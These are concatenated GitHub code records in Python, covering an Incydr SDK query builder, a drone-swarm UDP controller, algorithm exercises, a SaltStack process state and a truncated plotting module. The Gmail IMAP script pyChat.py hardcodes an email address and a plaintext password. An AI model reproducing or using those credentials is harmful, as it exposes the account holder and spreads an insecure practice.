FilterGroup(BaseModel):\n filterClause: str = \"AND\"\n filters: Optional[List[Filter]]\n\n\nclass Query(Model):\n groupClause: str = \"AND\"\n groups: Optional[List[FilterGroup]]\n pgNum: int = 1\n pgSize: int = 100\n pgToken: Optional[str]\n srtDir: str = \"asc\"\n srtKey: EventSearchTerm = \"event.id\"\n\n\nclass EventQuery(Model):\n \"\"\"\n Class to build a file event query. Use the class methods to attach additional filter operators.\n\n **Parameters**:\n\n * **start_date**: `int`, `float`, `str`, `datetime`, `timedelta` - Start of the date range to query for events. Defaults to None.\n * **end_date**: `int`, `float`, `str`, `datetime` - End of the date range to query for events. Defaults to None.\n \"\"\"\n\n group_clause: str = Field(\"AND\", alias=\"groupClause\")\n groups: Optional[List[FilterGroup]]\n page_num: int = Field(1, alias=\"pgNum\")\n page_size: conint(le=10000) = Field(100, alias=\"pgSize\")\n page_token: Optional[str] = Field(\"\", alias=\"pgToken\")\n sort_dir: str = Field(\"asc\", alias=\"srtDir\")\n sort_key: EventSearchTerm = Field(\"event.id\", alias=\"srtKey\")\n\n class Config:\n validate_assignment = True\n use_enum_values = True\n json_encoders = {datetime: lambda dt: dt.isoformat().replace(\"+00:00\", \"Z\")}\n\n def __init__(\n self,\n start_date: Union[datetime, timedelta, int, float, str] = None,\n end_date: Union[datetime, int, float, str] = None,\n **kwargs,\n ):\n groups = kwargs.get(\"groups\") or []\n\n if start_date or end_date:\n groups.append(_create_date_range_filter_group(start_date, end_date))\n\n kwargs[\"groups\"] = groups\n super().__init__(**kwargs)\n\n def equals(self, term: str, values: Union[str, List[str]]):\n \"\"\"\n Adds an `equals` filter to the query.\n\n When passed as part of a query, returns events when the field corresponding to the filter term equals the\n indicated value(s).\n\n Example:\n `EventQuery(**kwargs).equals('file.category', 'Document')` creates a query which will return file events\n where the `file.category` field is equal to `Document`.\n\n **Parameters**:\n\n * **term**: `str` - The term which corresponds to a file event field.\n * **values**: `str | List[str]` - The value(s) for the term to match.\n \"\"\"\n if isinstance(values, str):\n values = [values]\n if len(values) < 1:\n raise ValueError(\"equals() requires at least one value.\")\n filters = [Filter(term=term, operator=Operator.IS, value=val) for val in values]\n filter_group = FilterGroup(\n filters=filters,\n filterClause=\"OR\" if len(values) > 1 else \"AND\",\n )\n self.groups.append(filter_group)\n return self\n\n def not_equals(self, term, values: Union[str, List[str]]):\n \"\"\"\n Adds an `not_equals` filter to the query. The opposite of the `equals` filter.\n\n When passed as part of a query, returns events when the field corresponding to the filter term does not equal the indicated value(s).\n\n Example:\n `EventQuery(**kwargs).not_equals('file.category', 'Document')` creates a query which will return file events where the `file.category` field is NOT equal to `Document`.\n\n **Parameters**:\n\n * **term**: `str` - The term which corresponds to a file event field.\n * **values**: `str | List[str]` - The value(s) for the term to not match.\n \"\"\"\n\n if isinstance(values, str):\n values = [values]\n if len(values) < 1:\n raise ValueError(\"not_equals() requires at least one value.\")\n filters = [\n Filter(term=term, operator=Operator.IS_NOT, value=val) for val in values\n ]\n filter_group = FilterGroup(\n filters=filters,\n filterClause=\"AND\",\n )\n self.groups.append(filter_group)\n return self\n\n def exists(self, term: str):\n \"\"\"\n Adds an `exists` filter to the query. The opposite of the `does_not_exist` filter.\n\n When passed as part of a query, returns events when the field corresponding to the filter term is not `null`.\n\n Example:\n `EventQuery(**kwargs).exists('risk.trustReason')` creates a query which will return file events where the `risk.trustReason` field is populated with any not null value.\n\n **Parameters**:\n\n * **term**: `str` - The term which corresponds to a file event field.\n \"\"\"\n self.groups.append(\n FilterGroup(filters=[Filter(term=term, operator=Operator.EXISTS)])\n )\n return self\n\n def does_not_exist(self, term: str):\n \"\"\"\n Adds a `does_not_exist` filter to the query.\n\n When passed as part of a query, returns events when the field corresponding to the filter term is `null`.\n\n Example:\n `EventQuery(**kwargs).does_not_exist('risk.TrustReason')` creates a query which will return file events where the `risk.trustReason` field is null.\n\n **Parameters**:\n\n * **term**: `str` - The term which corresponds to a file event field.\n \"\"\"\n self.groups.append(\n FilterGroup(filters=[Filter(term=term, operator=Operator.DOES_NOT_EXIST)])\n )\n return self\n\n @validate_arguments\n def greater_than(self, term: str, value: int):\n \"\"\"\n Adds a `greater_than` filter to the query. The opposite of the `less_than` filter.\n\n When passed as part of a query, returns events when the field corresponding to the filter term is greater than the indicated value.\n\n Example:\n `EventQuery(**kwargs).greater_than('risk.score', 10)` creates a query which will return file events where the `risk.score` field is greater than `10`.\n\n **Parameters**:\n\n * **term**: `str` - The term which corresponds to a file event field.\n * **values**: `int` - The value for the term to be greater than.\n \"\"\"\n\n self.groups.append(\n FilterGroup(\n filters=[Filter(term=term, operator=Operator.GREATER_THAN, value=value)]\n )\n )\n return self\n\n @validate_arguments\n def less_than(self, term: str, value: int):\n \"\"\"\n Adds a `less_thn` filter to the query. The opposite of the `greater_than` filter.\n\n When passed as part of a query, returns events when the field corresponding to the filter term is less than the indicated value.\n\n Example:\n `EventQuery(**kwargs).less_than('risk.score', 10)` creates a query which will return file events where the `risk.score` field is less than `10`.\n\n **Parameters**:\n\n * **term**: `str` - The term which corresponds to a file event field.\n * **values**: `int` - The value for the term to be less than.\n \"\"\"\n self.groups.append(\n FilterGroup(\n filters=[Filter(term=term, operator=Operator.LESS_THAN, value=value)]\n )\n )\n return self\n\n def matches_any(self):\n \"\"\"\n Sets operator to combine multiple filters to `OR`.\n Returns events that match at least one of the filters in the query.\n\n Default operator is `AND`, which returns events that match all filters in the query.\n \"\"\"\n self.group_clause = \"OR\"\n return self\n\n @classmethod\n def from_saved_search(cls, saved_search: SavedSearch):\n \"\"\"\n Create an `EventQuery` object from a `SavedSearch` response.\n \"\"\"\n query = cls()\n if saved_search.group_clause:\n query.group_clause = saved_search.group_clause\n if saved_search.groups:\n for i in saved_search.groups:\n filters = [\n Filter.construct(value=f.value, operator=f.operator, term=f.term)\n for f in i.filters\n ]\n query.groups.append(\n FilterGroup.construct(filterClause=i.filter_clause, filters=filters)\n )\n if saved_search.srt_dir:\n query.sort_dir = saved_search.srt_dir\n if saved_search.srt_key:\n query.sort_key = saved_search.srt_key\n return query\n\n\ndef _create_date_range_filter_group(start_date, end_date):\n def _validate_duration_str(iso_duration_str):\n try:\n parse_duration(iso_duration_str)\n except Exception:\n return False\n return True\n\n filters = []\n\n if isinstance(start_date, timedelta) or _validate_duration_str(start_date):\n if isinstance(start_date, timedelta):\n start_date = duration_isoformat(start_date)\n filters.append(\n Filter(\n term=EventSearchTerm.TIMESTAMP,\n operator=Operator.WITHIN_THE_LAST,\n value=start_date,\n )\n )\n else:\n if start_date:\n filters.append(\n Filter(\n term=EventSearchTerm.TIMESTAMP,\n operator=Operator.ON_OR_AFTER,\n value=parse_ts_to_ms_str(start_date),\n )\n )\n\n if end_date:\n filters.append(\n Filter(\n term=EventSearchTerm.TIMESTAMP,\n operator=Operator.ON_OR_BEFORE,\n value=parse_ts_to_ms_str(end_date),\n )\n )\n return FilterGroup(filters=filters)\n","repo_name":"code42/incydr_python","sub_path":"src/_incydr_sdk/queries/file_events.py","file_name":"file_events.py","file_ext":"py","file_size_in_byte":12185,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"43372149517","text":"import socket\nimport threading\nimport random\nimport time\nimport sys\n\nfollowers_delta = {\n '10.0.0.2': [-5,-10,0],\n '10.0.0.3': [5,-10,0],\n '10.0.0.4': [10,-5,0],\n '10.0.0.5': [10,5,0],\n '10.0.0.6': [5,10,0],\n '10.0.0.7': [-5,10,0],\n '10.0.0.8': [-10,5,0],\n '10.0.0.9': [-10,-5,0],\n}\n\nclass MasterDrone:\n def __init__(self, timeout=10, panic=False, panic_type=0):\n self.server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.port = 9999\n self.id = 1\n self.server.bind(('10.0.0.1', 9999))\n self.position = [10, 10, 0]\n self.followers = {\n '10.0.0.2': [12, 10, 0],\n '10.0.0.3': [14, 10, 0],\n '10.0.0.4': [16, 10, 0],\n '10.0.0.5': [18, 10, 0],\n '10.0.0.6': [20, 10, 0],\n '10.0.0.7': [22, 10, 0],\n '10.0.0.8': [24, 10, 0],\n '10.0.0.9': [26, 10, 0]\n } # Key is IP address, value is position\n self.active_followers = {\n '10.0.0.2': False,\n '10.0.0.3': False,\n '10.0.0.4': False,\n '10.0.0.5': False,\n '10.0.0.6': False,\n '10.0.0.7': False,\n '10.0.0.8': False,\n '10.0.0.9': False\n }\n self.moving_followers = {\n '10.0.0.2': False,\n '10.0.0.3': False,\n '10.0.0.4': False,\n '10.0.0.5': False,\n '10.0.0.6': False,\n '10.0.0.7': False,\n '10.0.0.8': False,\n '10.0.0.9': False\n }\n self.returning_followers = {\n '10.0.0.2': False,\n '10.0.0.3': False,\n '10.0.0.4': False,\n '10.0.0.5': False,\n '10.0.0.6': False,\n '10.0.0.7': False,\n '10.0.0.8': False,\n '10.0.0.9': False\n }\n self.followers_pics = {\n '10.0.0.2': False,\n '10.0.0.3': False,\n '10.0.0.4': False,\n '10.0.0.5': False,\n '10.0.0.6': False,\n '10.0.0.7': False,\n '10.0.0.8': False,\n '10.0.0.9': False\n }\n self.followers_votes = {\n '10.0.0.2': 0,\n '10.0.0.3': 0,\n '10.0.0.4': 0,\n '10.0.0.5': 0,\n '10.0.0.6': 0,\n '10.0.0.7': 0,\n '10.0.0.8': 0,\n '10.0.0.9': 0\n }\n self.step = 5\n self.expected_msgs = {\n 'CHECK': 0,\n 'POS': 0,\n 'MOVING': 0,\n 'PIC': 0,\n 'VOTE': 0\n }\n self.panic_mode = False\n self.timeout = timeout\n self.panic = panic\n self.panic_type = panic_type\n \n \n def print_output(self, text):\n with open(f'drone{self.id}_output.txt', 'a') as f:\n f.write(text+\"\\n\")\n\n def enter_panic_mode(self):\n self.panic_mode = True\n if self.panic_type == 0:\n for addr in list(self.followers.keys()):\n self.print_output(f\"SENT PANIC MESSAGE TO {addr}\")\n self.server.sendto(\"REQ:PANIC\".encode('utf-8'), (addr, self.port))\n self.print_output(\"ENTERING PANIC MODE!!\")\n master_returning_thread = threading.Thread(target=self.move_master, args=([10, 10, 0],))\n master_returning_thread.start()\n \n\n def update_position(self, new_position):\n with open(f'drone{self.id}_position.txt', 'w') as f:\n f.write(new_position)\n\n def move_master(self, first_destination):\n destination = first_destination\n while True:\n if self.panic_mode:\n destination = [10, 10, 0]\n direction_vector = [dest - curr for dest, curr in zip(destination, self.position)]\n # Verifique se o drone já chegou ao destino\n if all(coord == 0 for coord in direction_vector):\n break\n # Normalize o vetor de direção\n magnitude = sum([coord**2 for coord in direction_vector])**0.5\n unit_direction = [coord/magnitude for coord in direction_vector]\n # Calcule a nova posição\n new_position = [curr + self.step * unit for curr, unit in zip(self.position, unit_direction)]\n # Evite ultrapassar o destino\n for i in range(3):\n if unit_direction[i] > 0 and new_position[i] > destination[i]:\n new_position[i] = destination[i]\n elif unit_direction[i] < 0 and new_position[i] < destination[i]:\n new_position[i] = destination[i]\n # Atualize a posição do drone\n self.position = new_position\n position_string = f\"{new_position[0]},{new_position[1]},{new_position[2]}\"\n self.update_position(position_string)\n time.sleep(1)\n\n def listen_for_followers(self):\n while True:\n data, addr = self.server.recvfrom(4096)\n self.handle_message(data.decode('utf-8'), addr[0])\n\n def handle_message(self, message, addr):\n self.print_output(f'{message} from {addr}')\n if message.startswith(\"POS:\"):\n _, pos = message.split(\":\")\n self.followers[addr] = [float(i) for i in pos.split(\",\")]\n self.expected_msgs['POS'] -= 1\n\n if message.startswith(\"CHECK:\"):\n self.active_followers[addr] = True\n self.expected_msgs['CHECK'] -= 1\n\n if message.startswith(\"MOVING\"):\n self.moving_followers[addr] = True\n self.expected_msgs['MOVING'] -= 1\n\n if message.startswith(\"PIC:\"):\n self.followers_pics[addr] = True\n self.expected_msgs['PIC'] -= 1\n\n if message.startswith(\"VOTE:\"):\n vote = (message.split(\":\")[-1] == \"TRUE\")\n if vote:\n self.followers_votes[addr] = 2\n else:\n self.followers_votes[addr] = 1\n self.expected_msgs['VOTE'] -= 1\n \n if message.startswith(\"RETURNING\"):\n self.returning_followers[addr] = True\n # self.print_output(\"Follower returning\")\n \n return\n\n def request_positions(self):\n self.expected_msgs['POS'] = 8\n for addr in self.followers.keys():\n self.print_output(f\"Sent REQ:POS to {addr}\")\n self.server.sendto(\"REQ:POS\".encode('utf-8'), (addr, self.port))\n # self.wait_for_responses('POS')\n\n def check_presence(self):\n self.expected_msgs['CHECK'] = 8\n self.active_followers = {\n '10.0.0.2': False,\n '10.0.0.3': False,\n '10.0.0.4': False,\n '10.0.0.5': False,\n '10.0.0.6': False,\n '10.0.0.7': False,\n '10.0.0.8': False,\n '10.0.0.9': False\n }\n for addr in list(self.followers.keys()):\n self.print_output(f\"SENT MESSAGE TO {addr}\")\n self.server.sendto(\"REQ:CHECK\".encode('utf-8'), (addr, self.port))\n # self.wait_for_responses('CHECK') Comentei aqui porque quero que sempre passe daqui\n while True:\n time.sleep(2)\n actives = True\n for addr,active in self.active_followers.items():\n if not active:\n actives = False\n self.print_output(f\"SENT MESSAGE TO {addr}\")\n self.server.sendto(\"REQ:CHECK\".encode('utf-8'), (addr, self.port))\n if actives:\n self.print_output(\"All Checked\")\n break \n\n def all_at_destination(self, destination):\n all_reach = True\n for addr, position in self.followers.items():\n follower_delta = followers_delta[addr]\n direction_vector = [dest - curr for dest, curr in zip(destination, position)]\n # Verifique se o drone já chegou ao destino\n follower_direction = [direction + delta for direction, delta in zip(direction_vector, follower_delta)]\n if not all(coord == 0 for coord in follower_direction) and self.active_followers[addr]:\n all_reach = False\n\n direction_vector = [dest - curr for dest, curr in zip(destination, self.position)]\n if not all(coord == 0 for coord in direction_vector):\n all_reach = False\n return all_reach\n \n def move(self, position):\n self.moving_followers = {\n '10.0.0.2': False,\n '10.0.0.3': False,\n '10.0.0.4': False,\n '10.0.0.5': False,\n '10.0.0.6': False,\n '10.0.0.7': False,\n '10.0.0.8': False,\n '10.0.0.9': False\n }\n while True:\n time.sleep(0.5)\n all_moved = True\n self.expected_msgs['MOVING'] = 8\n for addr, active in self.active_followers.items():\n if active and not self.moving_followers[addr]:\n all_moved = False\n self.print_output(f\"SENT MOVE MESSAGE TO {addr}\")\n self.server.sendto(f\"REQ:MOVE:{position[0]},{position[1]},{position[2]}\".encode('utf-8'), (addr, self.port))\n # self.wait_for_responses('MOVING')\n if all_moved:\n self.print_output(\"All Moving\")\n break \n moving_thread = threading.Thread(target=self.move_master, args=(position,))\n moving_thread.start()\n while True:\n if self.panic_mode: # Verifica se o panic mode foi ativado\n self.print_output(\"Panic mode activated during movement\")\n break\n self.request_positions()\n time.sleep(1)\n if self.all_at_destination(position):\n break\n \n def order_to_take_pictures(self):\n self.followers_pics = {\n '10.0.0.2': False,\n '10.0.0.3': False,\n '10.0.0.4': False,\n '10.0.0.5': False,\n '10.0.0.6': False,\n '10.0.0.7': False,\n '10.0.0.8': False,\n '10.0.0.9': False\n }\n self.expected_msgs['PIC'] = 8\n for addr, active in self.active_followers.items():\n if active:\n self.print_output(f\"SENT TAKE PICTURES MESSAGE TO {addr}\")\n self.server.sendto(f\"REQ:PIC\".encode('utf-8'), (addr, self.port))\n # self.wait_for_responses('PIC')\n while True:\n time.sleep(2)\n pics_taken = True\n for addr,pic in self.followers_pics.items():\n if not pic and self.active_followers[addr]:\n pics_taken = False\n self.print_output(f\"SENT TAKE PICTURES MESSAGE TO {addr}\")\n self.server.sendto(\"REQ:PIC\".encode('utf-8'), (addr, self.port))\n \n if pics_taken:\n self.print_output(\"All Pictures Taken\")\n break\n \n def order_to_vote(self):\n self.expected_msgs['VOTE'] = 8\n for addr, active in self.active_followers.items():\n if active:\n self.print_output(f\"SENT VOTE MESSAGE TO {addr}\")\n self.server.sendto(f\"REQ:VOTE\".encode('utf-8'), (addr, self.port))\n # self.wait_for_responses('VOTE')\n while True:\n time.sleep(2)\n all_votes = True\n for addr,vote in self.followers_votes.items():\n if vote == 0 and self.active_followers[addr]:\n all_votes = False\n self.print_output(f\"SENT VOTE MESSAGE TO {addr}\")\n self.server.sendto(f\"REQ:VOTE\".encode('utf-8'), (addr, self.port))\n if all_votes:\n self.print_output(\"All Drones Voted\")\n break\n \n count_votes = 0\n total_votes = 0\n for vote in self.followers_votes.values():\n if vote == 1:\n count_votes += 1\n \n if vote != 0:\n total_votes += 1\n \n decision = (count_votes/total_votes >= 0.5)\n return decision\n\n def handle_timeout(self):\n # Método para tratar o timeout e comandar a movimentação\n self.print_output(\"TIMEOUT REACHED!! MOVING TO: [10, 10, 0]\")\n self.enter_panic_mode()\n \n def run(self):\n listen_thread = threading.Thread(target=self.listen_for_followers)\n listen_thread.start()\n self.check_presence() # First RowCall\n if self.panic_mode:\n return\n # self.move([100,100,0]) # Move to P2\n if self.panic:\n move_thread = threading.Thread(target=self.move, args=([100, 100, 0],))\n move_thread.start()\n else:\n self.move([100,100,0])\n\n if self.panic:\n # Aguarde um pouco e entre em panic mode para fins de simulação\n time.sleep(10)\n self.enter_panic_mode()\n\n if self.panic_mode:\n return\n self.order_to_take_pictures() # Take Images\n if self.panic_mode:\n return\n vote_result = self.order_to_vote() # Voting\n self.print_output(f\"Vote result {vote_result}\")\n if not vote_result: \n self.print_output(\"GOING TO P3\") # Go to P3, Take Images, Go Back to P1 and RowCall\n self.move([0,100,0])\n if self.panic_mode:\n return\n self.order_to_take_pictures() # Take Images\n self.print_output(\"GOING TO P1\") \n self.move([10,10,0])\n if self.panic_mode:\n return\n self.check_presence()\n self.print_output(\"FINISHED\") \n\n def wait_for_responses(self, request_type):\n start_time = time.time()\n # while self.expected_msgs[request_type] > 0:\n while self.expected_msgs[request_type] == 8:\n if (time.time() - start_time) > self.timeout:\n self.print_output(f\"Timeout reached for {request_type}, with expected_msgs = {self.expected_msgs[request_type]}\")\n self.handle_timeout()\n break\n time.sleep(0.1) # Pausa breve para evitar uso excessivo da CPU\n\nif __name__ == '__main__':\n print(sys.argv)\n master = MasterDrone(panic=(sys.argv[1] == \"True\"),panic_type=int(sys.argv[2]))\n try:\n master.run()\n except Exception as e:\n with open(f'drone1_output.txt', 'a') as f:\n f.write(e+\"\\n\")","repo_name":"RodrigoCardoso08/CES35-Exame","sub_path":"master.py","file_name":"master.py","file_ext":"py","file_size_in_byte":14357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73268820091","text":"# First, there's the most basic solution: sort data by distance, and splice list to get first k values. \n# This is O(nlogn) in time and O(n) in space:\ndef kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n\treturn sorted(points, key=lambda p: p[0]**2 + p[1]**2)[:k]\n\n# We can further reduce time complexity to O(nlogk) and space complexity to O(k) by using a heap.\n# The idea here is to have a max heap containing the k smallest values.\n# We iterate through the array and every time we encounter an element smaller than our heap's maximum, \n#\twe pop the maximum and push that element into the heap. \n# By the end of our iteration our heap will contain the k smallest items:\ndef kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n\theap = [] # minHeap using key=-(distance from origin). heapq doesn't allow maxHeap :(\n\tfor (x, y) in points:\n\t\tdist = x**2 + y**2\n\t\tif len(heap) < k:\n\t\t\theapq.heappush(heap, (-dist, x, y))\n\t\telif dist < -heap[0][0]:\n\t\t\theapq.heappushpop(heap, (-dist, x, y))\n\treturn [(x, y) for (_, x, y) in heap]","repo_name":"dash-xa/InterviewQuestionSolutions","sub_path":"kClosestPoints.py","file_name":"kClosestPoints.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"45093494312","text":"from nn import PerceptronMulticapa\nimport numpy as np\n\nX=[]\nY=[]\narchivo=open(\"dataset_ejemplo_40_3_16.csv\")\narchivo.readline()\nfor linea in archivo:\n linea=linea.strip().split(\";\")\n x=list(map(float,[linea[1],linea[2],linea[3]]))\n y=[1,0] if linea[0]==\"R\" else [0,1]\n X.append(x)\n Y.append(y)\narchivo.close()\nX=np.asarray(X)\nY=np.asarray(Y)\nmlp=PerceptronMulticapa(hidden=32)\nmlp.train(X,Y,epochs=128)\n","repo_name":"pabloschwarzenberg/CINF104","sub_path":"mlp/mlp1.py","file_name":"mlp1.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"es","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"43621609698","text":"import smtplib\nimport time\nimport imaplib\nimport email\nimport traceback \n\nORG_EMAIL = \"@gmail.com\" \nFROM_EMAIL = \"baivabatemychips\" + ORG_EMAIL \nFROM_PWD = \"Incorrect@0\" \nSMTP_SERVER = \"imap.gmail.com\" \nSMTP_PORT = 993\n\ndef read_email_from_gmail():\n try:\n mail = imaplib.IMAP4_SSL(SMTP_SERVER)\n mail.login(FROM_EMAIL,FROM_PWD)\n mail.select('inbox')\n data = mail.search(None, 'ALL')\n mail_ids = data[1]\n id_list = mail_ids[0].split() \n latest_email_id = int(id_list[-1])\n\n data = mail.fetch(str(latest_email_id), '(RFC822)' )\n for response_part in data:\n arr = response_part[0]\n if isinstance(arr, tuple):\n msg = email.message_from_string(str(arr[1],'utf-8'))\n email_subject = msg['subject']\n email_from = msg['from']\n print(msg)\n print('From : ' + email_from + '\\n')\n print('Body : ' + email_subject + '\\n')\n for part in msg.walk():\n if part.get_content_type() == 'text/plain':\n print(part.get_payload())\n\n except Exception as e:\n traceback.print_exc() \n print(str(e))\n\nread_email_from_gmail()","repo_name":"raghavendraraosuresh/python-smtp-chat","sub_path":"Project/pyChat.py","file_name":"pyChat.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12849311594","text":"\"\"\"\nProcess Management\n==================\n\nEnsure a process matching a given pattern is absent.\n\n.. code-block:: yaml\n\n httpd-absent:\n process.absent:\n - name: apache2\n\"\"\"\n\n\ndef __virtual__():\n if \"ps.pkill\" in __salt__:\n return True\n return (False, \"ps module could not be loaded\")\n\n\ndef absent(name, user=None, signal=None):\n \"\"\"\n Ensures that the named command is not running.\n\n name\n The pattern to match.\n\n user\n The user to which the process belongs\n\n signal\n Signal to send to the process(es).\n \"\"\"\n ret = {\"name\": name, \"changes\": {}, \"result\": False, \"comment\": \"\"}\n\n if __opts__[\"test\"]:\n running = __salt__[\"ps.pgrep\"](name, user=user)\n ret[\"result\"] = None\n if running:\n ret[\"comment\"] = \"{} processes will be killed\".format(len(running))\n else:\n ret[\"comment\"] = \"No matching processes running\"\n return ret\n\n if signal:\n status = __salt__[\"ps.pkill\"](name, user=user, signal=signal, full=True)\n else:\n status = __salt__[\"ps.pkill\"](name, user=user, full=True)\n\n ret[\"result\"] = True\n if status:\n ret[\"comment\"] = \"Killed {} processes\".format(len(status[\"killed\"]))\n ret[\"changes\"] = status\n else:\n ret[\"comment\"] = \"No matching processes running\"\n return ret\n","repo_name":"saltstack/salt","sub_path":"salt/states/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"42326025005","text":"import json\nimport sys\npt_array = [\"50\", \"55\", \"60\", \"65\", \"70\", \"75\", \"80\", \"85\", \"90\", \"95\",\n \"100\", \"105\", \"110\", \"115\", \"120\", \"125\", \"130\", \"135\"]\nn_noise_array = [\"0\", \"6\", \"12\", \"18\", \"24\", \"30\",\n \"39\", \"48\", \"57\", \"66\", \"75\", \"85\", \"100\"]\nn_track_array = [\"1\", \"3\", \"5\"]\ndeg_str_array = [\"90\", \"84.2608\", \"78.463\", \"72.5424\",\n \"66.4218\", \"60\", \"53.1301\", \"45.573\", \"36.8699\"]\nparticle = sys.argv[1]\n\nconfig_index = 0\nfor pt in pt_array:\n for n_noise in n_noise_array:\n for n_track in n_track_array:\n for deg_str in deg_str_array:\n config_index += 1\n data_file = \"./root_data_source/{}/posPt{}_deg{}.root\".format(\n particle, pt, deg_str)\n output_file = \"./data/{}/trackdata_Pt{}_noise{}_multi{}_deg{}.root\".format(\n particle, pt, n_noise, n_track, deg_str)\n config = {\n \"data_file\": data_file,\n \"mode\": \"all\",\n \"n_noise\": int(n_noise),\n \"n_track\": int(n_track),\n \"output_file\": output_file,\n \"particle\": particle,\n \"pt\": float(pt),\n \"deg\": deg_str,\n }\n with open(\"config_{}_{}.json\".format(particle, config_index), \"w\") as f:\n json.dump(config, f, indent=4)\n","repo_name":"ccxty/HoughTracker","sub_path":"condor/gen_config.py","file_name":"gen_config.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41120670976","text":"#!/usr/bin/env python3\n\"\"\"Task 1 Simple pagination\"\"\"\nimport csv\nimport math\nfrom typing import List\nfrom typing import Tuple\n\n\nclass Server:\n \"\"\"Server class to paginate a database of popular baby names.\n \"\"\"\n DATA_FILE = \"Popular_Baby_Names.csv\"\n\n\n def __init__(self):\n self.__dataset = None\n\n\n def dataset(self) -> List[List]:\n \"\"\"Cached dataset\n \"\"\"\n if self.__dataset is None:\n with open(self.DATA_FILE) as f:\n reader = csv.reader(f)\n dataset = [row for row in reader]\n self.__dataset = dataset[1:]\n\n return self.__dataset\n\n\n def get_page(self, page: int = 1, page_size: int = 10) -> List[List]:\n \"\"\"Finds the correct indexes to paginate the dataset correctly \n and return the appropriate age of the dataset\"\"\"\n assert isinstance(page, int) and page > 0\n assert isinstance(page_size, int) and page_size > 0\n range_d = index_range(page, page_size)\n server = Server()\n s = range_d[0]\n e = range_d[1]\n if e > len(server.dataset()):\n return []\n return (server.dataset()[s: e])\n\n\ndef index_range(page: int, page_size: int) -> Tuple[int, int]:\n \"\"\"returns a tuple of size 2 containing a start index and an end index\"\"\"\n start = abs((page - 1) * page_size)\n end = page * page_size\n return (start, end)\n","repo_name":"Keimah507/alx-backend","sub_path":"0x00-pagination/1-simple_pagination.py","file_name":"1-simple_pagination.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34416518345","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep 23 16:13:00 2020\r\n\r\n@author: Daniel\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport pytz\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom ...models import const\r\n\r\nclass Plot(object):\r\n #add attributes specific to Visualize here\r\n\r\n def __init__(self, *args, **kwargs):\r\n pass\r\n #add attributes specific to Load here\r\n #self.attribute = variable\r\n \r\n #%%\r\n @staticmethod\r\n def plot_BE_time(site, loc, results, data, info=None):\r\n pass\r\n \r\n #%%\r\n @staticmethod\r\n def plot_BE_freq(site, loc, results, data, info=None):\r\n pass\r\n \r\n #%%\r\n @staticmethod\r\n def plot_HALS(site, loc, results, data, info=None, folder=None, **kwargs):\r\n print(\"Plotting location: {:s}\".format(loc[0]))\r\n if 'figsize' in kwargs:\r\n fig, ax = plt.subplots(figsize=kwargs['figsize'])\r\n else:\r\n fig, ax = plt.subplots()\r\n \r\n for x, y, z in zip(results[\"phs\"], results[\"amp\"], results[\"component\"]):\r\n ax.scatter(x, y, s=10, label=z)\r\n \r\n ax.set_xlabel(\"Phase [rad]\")\r\n unit = '?'\r\n if 'unit' in info:\r\n unit = info['unit']\r\n \r\n ax.set_ylabel(\"Amplitude [\" + unit + \"]\")\r\n ax.set_title(info['site'] + ': ' + loc[0] + ' (' + loc[2] + ', ' + loc[1] + ')')\r\n ax.set_xlim([-np.pi, np.pi])\r\n ax.legend()\r\n if isinstance(folder, str):\r\n print(\">> Writing files to folder: {}\".format(folder))\r\n filename = folder + '/' + site + \"_\" + loc[0] + '_(' + loc[1] + ')'\r\n plt.savefig(filename + '_HALS.png', dpi=200, bbox_inches='tight')\r\n \r\n return fig\r\n \r\n #%%\r\n @staticmethod\r\n def plot_FFT(site, loc, results, data, info=None, folder=None, **kwargs):\r\n print(\"Plotting location: {:s}\".format(loc[0]))\r\n if 'figsize' in kwargs:\r\n fig, ax = plt.subplots(figsize=kwargs['figsize'])\r\n else:\r\n fig, ax = plt.subplots()\r\n \r\n ax.plot(results[\"freq\"], results[\"amp\"])\r\n \r\n # if loc[2] in ('GW', 'ET'):\r\n # components = const.const['_etfqs']\r\n # else:\r\n # components = const.const['_atfqs']\r\n \r\n # for comp, freq in components.items():\r\n # idx1 = np.argmin(np.abs(freq - results[\"freq\"]))\r\n # idx2 = np.argmax(results[\"amp\"][idx1-3:idx1+3])\r\n # ax.plot(results[\"freq\"][idx1-3+idx2], results[\"amp\"][idx1-3+idx2], '.r')\r\n \r\n ax.set_xlabel(\"Frequency [cpd]\")\r\n unit = '?'\r\n if 'unit' in info:\r\n unit = info['unit']\r\n ax.set_ylabel(\"Amplitude [$\" + unit.replace('**', '^') + \"$]\")\r\n ax.set_title(info['site'] + ': ' + loc[0] + ' (' + loc[2] + ', ' + loc[1] + ')')\r\n \r\n if 'xlim' in kwargs:\r\n ax.set_xlim(kwargs['xlim'])\r\n else:\r\n ax.set_xlim([.5, 2.5])\r\n \r\n if isinstance(folder, str):\r\n print(\">> Writing files to folder: {}\".format(folder))\r\n filename = folder + '/' + site + \"_\" + loc[0] + '_(' + loc[1] + ')'\r\n plt.savefig(filename + '_FFT.png', dpi=200, bbox_inches='tight')\r\n \r\n return fig\r\n \r\n #%%\r\n @staticmethod\r\n def plot_GW_correct(site, loc, results, data, info=None, folder=None, **kwargs):\r\n print(\"Plotting location: {:s}\".format(loc[0]))\r\n if 'utc_offset' in info:\r\n datetime = 